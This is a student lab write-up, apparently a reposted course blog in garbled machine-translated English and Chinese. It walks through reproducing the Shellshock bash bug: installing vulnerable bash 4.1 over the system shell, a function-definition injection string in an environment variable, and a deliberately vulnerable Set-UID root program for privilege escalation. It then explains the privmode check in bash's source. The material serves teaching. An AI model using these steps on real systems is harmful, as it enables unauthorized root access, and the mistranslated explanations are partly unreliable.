20199315 "Linux kernel principle and Analysis" in Week 11 jobs

ShellShock attack reproduce and understand the causes of the vulnerability

ShellShock Profile

Shellshock, also known as Bashdoor, is a security vulnerability Bash shell widely used in Unix is, for the first time on September 24, 2014 open. Many Internet daemons, such as web servers, using bash to process certain commands, allowing an attacker to execute arbitrary code on the vulnerable version of Bash. This can be exploited to access the computer system without authorization. - Excerpt from Wikipedia

Shellshock error will affect Bash, various Unix-based system that is used to execute commands and command-line scripts. It is usually installed as the default command-line interface of the system. Bash history analysis of the source code of the display since September 1989 Bash version 1.03 release, the bug already exists.

Shellshock is a privilege escalation vulnerability that provides methods for executing commands should not be used for system users. This is done by "function to export" Bash function occurs, a command script so in a running instance of Bash created can be shared with lower-level instances. Encoding by the script shared between instances (referred to as a listing environment variables) to achieve this function. Bash will scan each new instance of the table for coding the script, each instance assembled into a command defined in a new instance of the script, and then execute the command. Assume a new instance of the script found in another example from the list, but it can not verify this, it can not verify the command script is constructed to define a proper formation. Therefore, an attacker can execute arbitrary commands on the system, or use other errors Bash command interpreter possible (if the attacker have a way to manipulate the list of environment variables and lead to Bash running).

September 24, 2014 released to the public this bug, Bash was updated this patch, ready to publish despite the need for some time to update computers to solve potential security problems.

Environment to build

Install version 4.1 bash with root privileges (at least version 4.2 of the holes have been plugged) bash4.1 original download address is  HTTP: //ftp/gnu.org/gnu/bash/bash-4.1.tar.gz  , in order speed, here we use the following Download  http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

下载

# sudo su

# wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

安装

# tar xf bash-4.1.tar.gz

# cd bash-4.1

# ./configure

# make && make install

链接

# rm /bin/bash

# ln -s /usr/local/bin/bash /bin/bash

Here on the installation finished, then detect the presence of shellshock vulnerabilities.

# exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test "

Output vulnerable, it indicates that there are loopholes bash.

Finally, let / bin / sh points to / bin / bash.

Preparations were made up.

Preliminaries

Learn bash custom function, the function name will only be able to call the function.

$ foo() { echo bar; } 
$ foo
> bar

This time the Bash environment variables:

KEY = foo
VALUE = () { echo bar; }

Take a look at the vulnerability of Mami ShellShock:

export foo='() { :; }; echo Hello World'
bash
>Hello World

Why call bash when the output Hello World of it? Look at the situation he's inside:

KEY = foo
VALUE = () { :; }; echo Hello World

bash reads the environment variable, after defining a function foo directly call back. Once bash calling, custom statements directly trigger.

Content Experiments

In this study, we used to gain root privileges by attacking the Set-UID program.

We know the system () function will be called "/ bin / sh -c" to run the specified command, this also means that / bin / bash is called, you can take advantage of loopholes to get permission shellshock it? First, make sure you have bash version with loopholes, and make / bin / sh points to / bin / bash.

$ sudo ln -sf /bin/bash /bin/sh

Shock.c create a new file in / home / shiyanlou catalog:

$ vi shock.c

Pressing i Insert mode, and then enter the following:

#include <stdio.h>
void main()
{
    setuid(geteuid()); // make real uid = effective uid.
    system("/bin/ls -l");
}

Compile the code, and set it to Set-UID program to ensure that it is owned by root.

$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock
$ ls -il shock

We note here the use of setuid (geteuid ()) to the real uid = effective uid, this is not a universal phenomenon, but it does sometimes happen in Set-UID program. First try to hack it yourself :)

The following is a hack process:

如果 setuid(geteuid()) 语句被去掉了,再试试看攻击,我们还能够拿到权限么?

$ sudo su
$ gcc -o shOck shOck.c
$ chmod u+s shOck
$ ls -il shOck
$ exit
$ ./shOck

(hack过程与step1完全一样,sh0ck是编译后的程序)

失败了!这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了,这可以从 bash的源代码中得到印证(variables.c,在308到369行之间)请指出是哪一行导致了这样的不同,并说明bash这样设计的原因。

这里给出部分代码

/* Initialize the shell variables from the current environment.
   If PRIVMODE is nonzero, don't import functions from ENV or
   parse $SHELLOPTS. */
void
initialize_shell_variables (env, privmode)
     char **env;
     int privmode;
{
  char *name, *string, *temp_string;
  int c, char_index, string_index, string_length;
  SHELL_VAR *temp_var;

  create_variable_tables ();

  for (string_index = 0; string = env[string_index++]; )
    {

      char_index = 0;
      name = string;
      while ((c = *string++) && c != '=')
  ;
      if (string[-1] == '=')
  char_index = string - name - 1;

      /* If there are weird things in the environment, like `=xxx' or a
   string without an `=', just skip them. */
      if (char_index == 0)
  continue;

      /* ASSERT(name[char_index] == '=') */
      name[char_index] = '\0';
      /* Now, name = env variable name, string = env variable value, and
   char_index == strlen (name) */

      temp_var = (SHELL_VAR *)NULL;

      /* If exported function, define it now.  Don't import functions from
   the environment in privileged mode. */
      if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
  {
    string_length = strlen (string);
    temp_string = (char *)xmalloc (3 + string_length + char_index);

    strcpy (temp_string, name);
    temp_string[char_index] = ' ';
    strcpy (temp_string + char_index + 1, string);

    parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

    /* Ancient backwards compatibility.  Old versions of bash exported
       functions like name()=() {...} */
    if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
      name[char_index - 2] = '\0';

    if (temp_var = find_function (name))
      {
        VSETATTR (temp_var, (att_exported|att_imported));
        array_needs_making = 1;
      }
    else
      report_error (_("error importing function definition for `%s'"), name);

    /* ( */
    if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
      name[char_index - 2] = '(';   /* ) */
  }

摘出其中关键部分并简化

void initialize_shell_variables(){
// 循环遍历所有环境变量
for (string_index = 0; string = env[string_index++]; ) {
     /*...*/
     /* 如果有export过的函数, 在这里定义 */
     /* 无法导入在特权模式下(root下)定义的函数 */
     if (privmode == 0 && read_but_dont_execute == 0 &&
           STREQN (“() {“, string, 4)) {
           [...]
           // 这里是shellshock发生的地方
           // 传递函数定义 + 运行额外的指令
           parse_and_execute (temp_string, name,
                SEVAL_NONINT|SEVAL_NOHIST);
[...]
} }

就是上述那一行判断逻辑导致了两者的不同,primode即私有模式,要求real uid 与 effective uid保持一致。

遇到的问题

去掉setuid(geteuid())语句时,实验楼中是重命名为了sh0ck,而我命名为shOck,导致检测有一点小问题,不过无伤大雅0.0

此为本人Linux学习第十一周的内容,如有不足,还请批评指正,不胜感激。

以上

Guess you like

Origin www.cnblogs.com/qianxiaoxu/p/11940507.html